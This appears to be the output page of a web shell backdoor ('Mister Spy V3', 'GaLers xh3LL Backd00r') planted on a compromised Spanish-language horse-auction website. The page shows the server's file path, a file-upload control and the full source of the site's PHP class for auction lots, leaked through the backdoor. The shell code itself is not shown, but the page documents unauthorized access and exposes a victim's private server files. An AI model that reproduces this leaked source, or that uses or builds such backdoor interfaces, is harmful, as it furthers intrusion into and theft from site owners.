Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.lote.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');

class Lote
{
	public $IdLote;
	public $IdRemate;
	public $IdUsuario;
	public $IdCabania;
	public $IdTipoLote;
	public $NumeroOrdenRemate;
	public $NumeroLote;
	public $LoteExtension;
	public $Nombre;
	public $SbaTipo;
	public $SbaNumero;
	public $RegistroPropietario;
	public $IdSexo;
	public $IdHembraTipo;
	public $Cabestro;
	public $Montado;
	public $IdPelaje;
	public $PelajeOtro;
	public $FechaNacimiento;
	public $Talla;
	public $Torax;
	public $Cania;
	public $Observaciones;
	public $ImagenPedigree;
	public $Hba;
	public $Analisis;
	public $Precio;
	public $FechaRegistro;
	public $Estado;
	public $EmailContacto;
	public $Tabla;
	public $IdAnimal;
	public $AvisoVencimiento;

	public function __construct()
	{
		$this->IdLote				= '';
		$this->IdRemate				= '';
		$this->IdUsuario			= '';
		$this->IdCabania			= '';
		$this->IdTipoLote			= '';
		$this->NumeroOrdenRemate	= '';
		$this->NumeroLote			= '';
		$this->LoteExtension		= '';
		$this->Nombre				= '';
		$this->SbaTipo				= '';
		$this->SbaNumero			= '';
		$this->RegistroPropietario	= '';
		$this->IdSexo				= '';
		$this->IdHembraTipo			= '';
		$this->Cabestro				= '';
		$this->Montado				= '';
		$this->IdPelaje				= '';
		$this->PelajeOtro			= '';
		$this->FechaNacimiento		= '';
		$this->Talla				= '';
		$this->Torax				= '';
		$this->Cania				= '';
		$this->Observaciones		= '';
		$this->ImagenPedigree		= '';
		$this->Hba					= '';
		$this->Analisis				= '';		
		$this->Precio				= '';
		$this->FechaRegistro		= '';
		$this->Estado				= '';
		$this->EmailContacto		= '';
		$this->Tabla				= '';
		$this->IdAnimal				= '';
		$this->AvisoVencimiento		= '';
	}
	
	
	public function ParseFromArray(array $arr)
	{
		$this->IdLote				= $arr['IdLote'];
		$this->IdRemate				= $arr['IdRemate'];
		$this->IdUsuario			= $arr['IdUsuario'];
		$this->IdCabania			= $arr['IdCabania'];
		$this->IdTipoLote			= $arr['IdTipoLote'];
		$this->NumeroOrdenRemate	= stripslashes($arr['NumeroOrdenRemate']);
		$this->NumeroLote			= stripslashes($arr['NumeroLote']);
		$this->LoteExtension		= stripslashes($arr['LoteExtension']);
		$this->Nombre				= stripslashes($arr['Nombre']);
		$this->SbaTipo				= stripslashes($arr['SbaTipo']);
		$this->SbaNumero			= stripslashes($arr['SbaNumero']);
		$this->RegistroPropietario	= stripslashes($arr['RegistroPropietario']);
		$this->IdSexo				= $arr['IdSexo'];
		$this->IdHembraTipo			= $arr['IdHembraTipo'];
		$this->Cabestro				= $arr['Cabestro'];
		$this->Montado				= $arr['Montado'];
		$this->IdPelaje				= $arr['IdPelaje'];
		$this->PelajeOtro			= $arr['PelajeOtro'];
		$this->FechaNacimiento		= stripslashes($arr['FechaNacimiento']);
		$this->Talla				= stripslashes($arr['Talla']);
		$this->Torax				= stripslashes($arr['Torax']);
		$this->Cania				= stripslashes($arr['Cania']);
		$this->Observaciones		= stripslashes($arr['Observaciones']);
		$this->ImagenPedigree		= $arr['ImagenPedigree'];
		$this->Hba					= stripslashes($arr['Hba']);
		$this->Analisis				= stripslashes($arr['Analisis']);
		$this->Precio				= $arr['Precio'];
		$this->FechaRegistro		= $arr['FechaRegistro'];
		$this->Estado				= $arr['Estado'];	
		$this->EmailContacto		= $arr['EmailContacto'];
		$this->Tabla				= $arr['Tabla'];
		$this->IdAnimal				= $arr['IdAnimal'];
		$this->AvisoVencimiento		= $arr['AvisoVencimiento'];
	}
	
	
	public function DeletePresentadores()
	{
		$LotePresentadores = new LotePresentadores();
		
		if (!$LotePresentadores->DeleteFromLote($this->IdLote))
			return false;
			
		return true;
	}
	
	
	public function GetAllImagenes(Page $oPage = NULL)
	{
		$LoteImagenes = new LoteImagenes();
		
		return $LoteImagenes->GetAllByLote($this, $oPage);
	}	


	public function GetAllVideos(Page $oPage = NULL)
	{
		$LoteVideos = new LoteVideos();
		
		return $LoteVideos->GetAllByLote($this, $oPage);
	}
	
	
	public function GetDatosDirectos()
	{
		$oLoteDatosDirectos = new LoteDatosDirectos();
		
		return $oLoteDatosDirectos->GetByIdLote($this->IdLote);
	}
	
	
	public function GetDeps()
	{
		$oLoteDeps = new LoteDeps();
		
		return $oLoteDeps->GetByIdLote($this->IdLote);
	}
	
	
	public function GetPedigreePadre()
	{
		$oLotesPedigree = new LotesPedigree();
		
		return $oLotesPedigree->GetPedigree($this->IdLote, PedigreeTipos::Padre);
	}
	
	
	public function GetPedigreeMadre()
	{
		$oLotesPedigree = new LotesPedigree();
		
		return $oLotesPedigree->GetPedigree($this->IdLote, PedigreeTipos::Madre);
	}	
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat